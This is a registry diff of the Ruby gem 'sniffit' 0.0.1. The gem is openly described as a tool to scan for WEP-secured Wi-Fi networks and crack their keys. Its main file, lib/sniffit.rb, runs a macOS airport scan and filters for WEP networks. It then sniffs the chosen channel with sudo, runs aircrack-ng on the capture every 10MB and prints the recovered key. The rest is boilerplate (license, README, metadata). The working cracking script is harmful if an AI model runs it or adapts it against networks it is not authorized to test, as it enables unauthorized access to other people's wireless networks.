sniffit 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +17 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +22 -0
- data/README.md +29 -0
- data/Rakefile +1 -0
- data/bin/sniffit +6 -0
- data/lib/sniffit.rb +118 -0
- data/lib/sniffit/version.rb +3 -0
- data/sniffit.gemspec +23 -0
- metadata +82 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA1:
|
3
|
+
metadata.gz: d6970112d6934ece8eb74ef41bd3f888c20c3a72
|
4
|
+
data.tar.gz: 3f208c69a0345b4b916cf08c1f11ab823cc3d6e9
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 0716dad73fade0a6801b7417e2d3721f1f166314e7864922d1748272b6ee5566cffb22934761c1f8168af2b36f80188d37b8bb56438bf887f2de6ec69f5810d1
|
7
|
+
data.tar.gz: a1506d44d4fee7f3baeba2e20f64ab4b4db98432d83e132b8d3d24e006aa0a4556e531d77f945e7e12f831b3bb532d400a5656bb03f0a7b8a6abb998bf876ef4
|
data/.gitignore
ADDED
data/Gemfile
ADDED
data/LICENSE.txt
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
Copyright (c) 2013 Nathaniel Symer
|
2
|
+
|
3
|
+
MIT License
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
6
|
+
a copy of this software and associated documentation files (the
|
7
|
+
"Software"), to deal in the Software without restriction, including
|
8
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
9
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
10
|
+
permit persons to whom the Software is furnished to do so, subject to
|
11
|
+
the following conditions:
|
12
|
+
|
13
|
+
The above copyright notice and this permission notice shall be
|
14
|
+
included in all copies or substantial portions of the Software.
|
15
|
+
|
16
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
17
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
18
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
19
|
+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
20
|
+
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
21
|
+
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
22
|
+
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
data/README.md
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
# Sniffit
|
2
|
+
|
3
|
+
TODO: Write a gem description
|
4
|
+
|
5
|
+
## Installation
|
6
|
+
|
7
|
+
Add this line to your application's Gemfile:
|
8
|
+
|
9
|
+
gem 'sniffit'
|
10
|
+
|
11
|
+
And then execute:
|
12
|
+
|
13
|
+
$ bundle
|
14
|
+
|
15
|
+
Or install it yourself as:
|
16
|
+
|
17
|
+
$ gem install sniffit
|
18
|
+
|
19
|
+
## Usage
|
20
|
+
|
21
|
+
TODO: Write usage instructions here
|
22
|
+
|
23
|
+
## Contributing
|
24
|
+
|
25
|
+
1. Fork it
|
26
|
+
2. Create your feature branch (`git checkout -b my-new-feature`)
|
27
|
+
3. Commit your changes (`git commit -am 'Add some feature'`)
|
28
|
+
4. Push to the branch (`git push origin my-new-feature`)
|
29
|
+
5. Create new Pull Request
|
data/Rakefile
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
require "bundler/gem_tasks"
|
data/bin/sniffit
ADDED
data/lib/sniffit.rb
ADDED
@@ -0,0 +1,118 @@
|
|
1
|
+
#!/use/bin/env ruby
|
2
|
+
|
3
|
+
module Sniffit
|
4
|
+
class ScriptClient
|
5
|
+
|
6
|
+
@previous_size = 0
|
7
|
+
|
8
|
+
def get_available_nets(string)
|
9
|
+
|
10
|
+
lines = string.split(/\n/)
|
11
|
+
lines.delete_at(0) # removes the "title" line
|
12
|
+
|
13
|
+
workable_lines = lines.collect { |line|
|
14
|
+
split_line = line.strip.split(/\s+/)
|
15
|
+
split_line.each do |l|
|
16
|
+
l.strip
|
17
|
+
end
|
18
|
+
|
19
|
+
split_line.delete_at(4)
|
20
|
+
split_line.delete_at(4)
|
21
|
+
|
22
|
+
split_line
|
23
|
+
}
|
24
|
+
|
25
|
+
workable_lines.select { |comps|
|
26
|
+
comps[4].include?("WEP")
|
27
|
+
}
|
28
|
+
end
|
29
|
+
|
30
|
+
def print_networks(network_arrays)
|
31
|
+
|
32
|
+
puts network_arrays.count
|
33
|
+
|
34
|
+
if network_arrays.count == 0
|
35
|
+
puts "There are no WEP networks nearby to crack..."
|
36
|
+
return false
|
37
|
+
elsif network_arrays.count > 0
|
38
|
+
puts "XXXX Select a network from below by entering the number to the left of it"
|
39
|
+
network_arrays.each_index { |idx|
|
40
|
+
netarray = network_arrays[idx]
|
41
|
+
strength_percent = 100-(netarray[2].strip.gsub(/-/,"").to_i)
|
42
|
+
puts "#{idx}. #{netarray[0].to_s} => #{strength_percent}"
|
43
|
+
}
|
44
|
+
|
45
|
+
selected_idx = STDIN.gets.chomp.strip.to_i
|
46
|
+
network_arrays[selected_idx]
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
def start_sniffing(channel)
|
51
|
+
|
52
|
+
Dir.foreach("/tmp/") do |filename|
|
53
|
+
if filename.include?(".cap")
|
54
|
+
system("sudo rm /tmp/#{filename}")
|
55
|
+
end
|
56
|
+
end
|
57
|
+
|
58
|
+
IO.popen("sudo airport en1 sniff #{channel}").read
|
59
|
+
end
|
60
|
+
|
61
|
+
def commence_cracking(bssid)
|
62
|
+
# I know... multiple cap files, see start_sniffing(), it should ameliorate the situation
|
63
|
+
# XXX Assume there is a cap file in /tmp already...
|
64
|
+
|
65
|
+
capfiles = Dir.entries("/tmp/").select { |filename|
|
66
|
+
filename.include?(".cap")
|
67
|
+
}
|
68
|
+
|
69
|
+
if capfiles.length > 0
|
70
|
+
output = IO.popen("aircrack-ng -b " + bssid + " /tmp/#{capfiles[0].chomp.strip}").read.chomp.strip
|
71
|
+
|
72
|
+
failed = output.split("Failed. Next try with").length > 1
|
73
|
+
number_ivs = output.split("keys (got")[1].chomp.strip.split(" ")[0].chomp.strip.to_i
|
74
|
+
|
75
|
+
if failed == true
|
76
|
+
puts "FAILED: #{number_ivs} IVs, trying again"
|
77
|
+
elsif
|
78
|
+
key = (output.split("KEY FOUND! [ ")[1].split(" ")[0]).chomp.strip.gsub(/:/,"") # KEY FOUND! [ 1F:90:11:0D:A6 ]
|
79
|
+
puts "SUCCESS: key => #{key}"
|
80
|
+
@periodic_job.cancel
|
81
|
+
end
|
82
|
+
end
|
83
|
+
end
|
84
|
+
|
85
|
+
def every_n_seconds(n)
|
86
|
+
loop do
|
87
|
+
before = Time.now
|
88
|
+
yield
|
89
|
+
interval = n-(Time.now-before)
|
90
|
+
sleep(interval) if interval > 0
|
91
|
+
end
|
92
|
+
end
|
93
|
+
|
94
|
+
def start()
|
95
|
+
scan_string = IO.popen("airport scan").read
|
96
|
+
workable_nets = get_available_nets(scan_string)
|
97
|
+
selected_network = print_networks(workable_nets)
|
98
|
+
|
99
|
+
if selected_network != false
|
100
|
+
start_sniffing(selected_network[3])
|
101
|
+
|
102
|
+
every_n_seconds(20) do
|
103
|
+
size = IO.popen('ls -l /tmp | grep airport').read.strip.gsub(/\s+/," ").split(' ')[4].to_i
|
104
|
+
|
105
|
+
size_diff = size-@previous_size
|
106
|
+
@previous_size = size
|
107
|
+
|
108
|
+
if size_diff > 10000000 # every 10MB
|
109
|
+
commence_cracking(selected_network[1])
|
110
|
+
end
|
111
|
+
end
|
112
|
+
|
113
|
+
end
|
114
|
+
end
|
115
|
+
end
|
116
|
+
end
|
117
|
+
|
118
|
+
|
data/sniffit.gemspec
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
# coding: utf-8
|
2
|
+
lib = File.expand_path('../lib', __FILE__)
|
3
|
+
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
4
|
+
require 'sniffit/version'
|
5
|
+
|
6
|
+
Gem::Specification.new do |spec|
|
7
|
+
spec.name = "sniffit"
|
8
|
+
spec.version = Sniffit::VERSION
|
9
|
+
spec.authors = ["Nathaniel Symer"]
|
10
|
+
spec.email = ["nate@natesymer.com"]
|
11
|
+
spec.description = %q{Requires aircrack-ng and OS X}
|
12
|
+
spec.summary = %q{Scan for WEP-secured wireless networks and crack their WEP keys}
|
13
|
+
spec.homepage = "http://natesymer.com"
|
14
|
+
spec.license = "MIT"
|
15
|
+
|
16
|
+
spec.files = `git ls-files`.split($/)
|
17
|
+
spec.executables = ["sniffit"]
|
18
|
+
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
|
19
|
+
spec.require_paths = ["lib"]
|
20
|
+
|
21
|
+
spec.add_development_dependency "bundler", "~> 1.3"
|
22
|
+
spec.add_development_dependency "rake"
|
23
|
+
end
|
metadata
ADDED
@@ -0,0 +1,82 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: sniffit
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.1
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Nathaniel Symer
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2013-06-26 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: bundler
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - ~>
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '1.3'
|
20
|
+
type: :development
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - ~>
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '1.3'
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: rake
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - '>='
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '0'
|
34
|
+
type: :development
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - '>='
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '0'
|
41
|
+
description: Requires aircrack-ng and OS X
|
42
|
+
email:
|
43
|
+
- nate@natesymer.com
|
44
|
+
executables:
|
45
|
+
- sniffit
|
46
|
+
extensions: []
|
47
|
+
extra_rdoc_files: []
|
48
|
+
files:
|
49
|
+
- .gitignore
|
50
|
+
- Gemfile
|
51
|
+
- LICENSE.txt
|
52
|
+
- README.md
|
53
|
+
- Rakefile
|
54
|
+
- lib/sniffit.rb
|
55
|
+
- lib/sniffit/version.rb
|
56
|
+
- sniffit.gemspec
|
57
|
+
- bin/sniffit
|
58
|
+
homepage: http://natesymer.com
|
59
|
+
licenses:
|
60
|
+
- MIT
|
61
|
+
metadata: {}
|
62
|
+
post_install_message:
|
63
|
+
rdoc_options: []
|
64
|
+
require_paths:
|
65
|
+
- lib
|
66
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
67
|
+
requirements:
|
68
|
+
- - '>='
|
69
|
+
- !ruby/object:Gem::Version
|
70
|
+
version: '0'
|
71
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
72
|
+
requirements:
|
73
|
+
- - '>='
|
74
|
+
- !ruby/object:Gem::Version
|
75
|
+
version: '0'
|
76
|
+
requirements: []
|
77
|
+
rubyforge_project:
|
78
|
+
rubygems_version: 2.0.3
|
79
|
+
signing_key:
|
80
|
+
specification_version: 4
|
81
|
+
summary: Scan for WEP-secured wireless networks and crack their WEP keys
|
82
|
+
test_files: []
|